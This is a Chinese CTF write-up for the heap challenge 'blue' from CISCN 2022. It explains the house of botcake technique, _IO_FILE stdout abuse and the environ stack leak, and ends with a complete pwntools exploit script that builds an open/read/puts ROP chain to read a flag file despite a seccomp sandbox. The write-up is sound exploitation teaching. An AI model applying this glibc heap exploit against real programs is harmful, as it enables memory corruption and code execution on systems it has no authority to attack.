house of botcake

存在至少一个UAF的chunk时可利用tcache和unsortedbin实现任意地址写

首先创建堆块把tcache填满,之后隔出一个堆块后把下一个堆块释放进unsortedbin中

注意:进入unsortedbin中的这个堆块一定要是UAF的

5

6

之后,释放掉空出来的堆块,由于tcache填满,该chunk合并进入unsortedbin中

4

此时unsortedbin大小为0x120,由两个大小为0x90的堆块合并,注意到下面的堆块是先进入unsortedbin中的,上面的是后来合并近unsortedbin中的。由于下面的堆块存在UAF因此可以进行double free。

之后再从tcahce中取出一个堆块后再次释放UAF的堆块实现堆块重叠,这时候这个UAF的堆块既在unsortedbin中又在tcache中。

7

图中蓝色的是unsortedbin中的堆块,却包含了tcachebins的堆块,若此时对unsrotedbin进行申请,就可以把tcachebins申请出来,修改fd后实现地址任意写

8

如图,在unsortedbin中申请了两个堆块,修改第二个堆块即可直接修改tcache中的堆块,此时把tcache修改成指向_IO_1_2_stdout_的指针

9

之后申请的时候可以直接申请到stdout的file结构体

_IO_2_1_stdout泄露栈地址

environ

首先介绍一个全局变量: environ

environ是通过libc基地址确定的,他指向的是栈上的一个地址,environ是沟通libc和栈的一个桥梁。

2

3

environ里的地址指向的是环境变量起始地址,Linux的环境变量在程序运行时加载到栈上,如图environ里存储的是SHELL=/bin/bash处的地址

因此可以想办法打印出environ里的地址即可泄露栈地址

IO_FILE结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct _IO_FILE {
//flag 标志位
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
//管理输入的指针
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
//管理输出的指针
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;
//连接下一个文件流的结构体
struct _IO_FILE *_chain;
//文件描述符
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

打开的文件会通过IO_FILE结构体形成链表。前三个文件默认是stdin,stdout,stderr

具体实现

  1. 更改flags字段为0xfbad1887或0xfbad1800等

  2. 更改IO_read_ptr,IO_read_end,IO_read_base指针为0

  3. 更改IO_write_base为泄露内存的起点,更改IO_write_ptr为泄露内存的终点

  4. 调用printf或puts等输出函数。

    这样,函数在输出时会先输出IO_write_base和IO_write_ptr之间的内存之后再正常输出,可以造成任意地址读

1

如图偏移量为0的地方是flags,偏移量为+32是IO_write_base,内存分布参考结构体原码

此处把flags改为0x1fbad1800,IO_write_base和IO_write_ptr 分别为envion和environ+8这样再调用输出函数即可输出栈地址了

实例

[CISCN 2022 华东北]blue | NSSCTF

GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31

分析

add 最大只能申请0x90

13

free 无UAF

11

一个特殊的free 只能用一次,存在UAF

12

show 只能用一次

10

开启沙箱,禁止execve,用orw

14

首先把tcache填满,进入unsortedbin用仅有一次的UAF和show泄露libc

之后利用house of botcake修改fd,申请到stdout

利用stdout泄露栈地址,由于堆题是循环且需要puts打印菜单,因此修改完后栈地址直接就泄露出来

把堆恢复,再次修改fd到栈地址,申请处栈空间,在栈上rbp+8的位置填上orw的onegadget

最后可能长度不够,因此write换成puts,为了方便”./flag”字符串的调用,从rbp的位置开始输入,写上./flag之后再在rbp+8的位置写上orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
from LibcSearcher import*

context(log_level='debug',arch='amd64',os='linux')
libc=ELF('./libc6_2.35-0ubuntu3.6_amd64.so')
libc=ELF('libc.so.6')
#libc=ELF('./libc-2.27.so')
e=ELF('./vuln')
r=process('./vuln')
#r=remote('node4.anna.nssctf.cn',28694)
#gdb.attach(r)

def add(size,data):
sleep(0.1)
r.sendlineafter(': ','1')
#r.sendlineafter(': ',str(idx))
r.sendlineafter('size: ',str(size))
r.sendafter('\n',data)


def free(index):
r.sendlineafter('Choice: ','2')
r.sendlineafter('idx: ',str(index))

def edit(index,content):
r.sendlineafter('>>> ','4')
r.sendlineafter(':',str(index))
sleep(0.1)
r.sendline(content)

def show(index):
r.sendlineafter(': ','3')
r.sendlineafter('\n',str(index))

def uaf(index):
r.sendlineafter(': ','666')
r.sendlineafter('\n',str(index))

for i in range(10):
add(0x80,'a')
for i in range(7):
free(i)
uaf(8)#unsortedbin
show(8)

addr=u64(r.recv(6)+b'\x00\x00')-0x1ecbe0
print(hex(addr))
env=addr+libc.sym["environ"]
stdout=addr+libc.sym["_IO_2_1_stdout_"]
print(hex(env))
print(hex(stdout))
free(7)#unsortedbin + 1
add(0x80,'a')#tcache - 1 now:tcache=6
free(8) #tcache+1 now chunk8 in tcache and unsortedbin
add(0x70,p64(1)*2)#1
add(0x70,p64(0)+p64(0x91)+p64(stdout))#2
add(0x80,p64(0))#3
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(env)+p64(env+8))
r.recvline()
stack=u64(r.recvuntil("\x00").ljust(8,b'\x00'))-0x128
print(hex(stack))
free(3)
free(2)
add(0x70,p64(0)+p64(0x91)+p64(stack))
add(0x80,'a')
#add(0x80,'a')
read=addr+libc.sym.read
op=addr+libc.sym.open
puts=addr+libc.sym.puts
rdi=addr+0x23b6a
rsi=addr+0x2601f
rdx=addr+0x142c92


payload=b'./flag\x00\x00'
payload+=flat([rdi,stack,rsi,0,op])
payload+=flat([rdi,3,rsi,stack+0x200,rdx,0x30,read])
payload+=flat([rdi,stack+0x200,puts])


#gdb.attach(r)
add(0x80,payload)


r.interactive()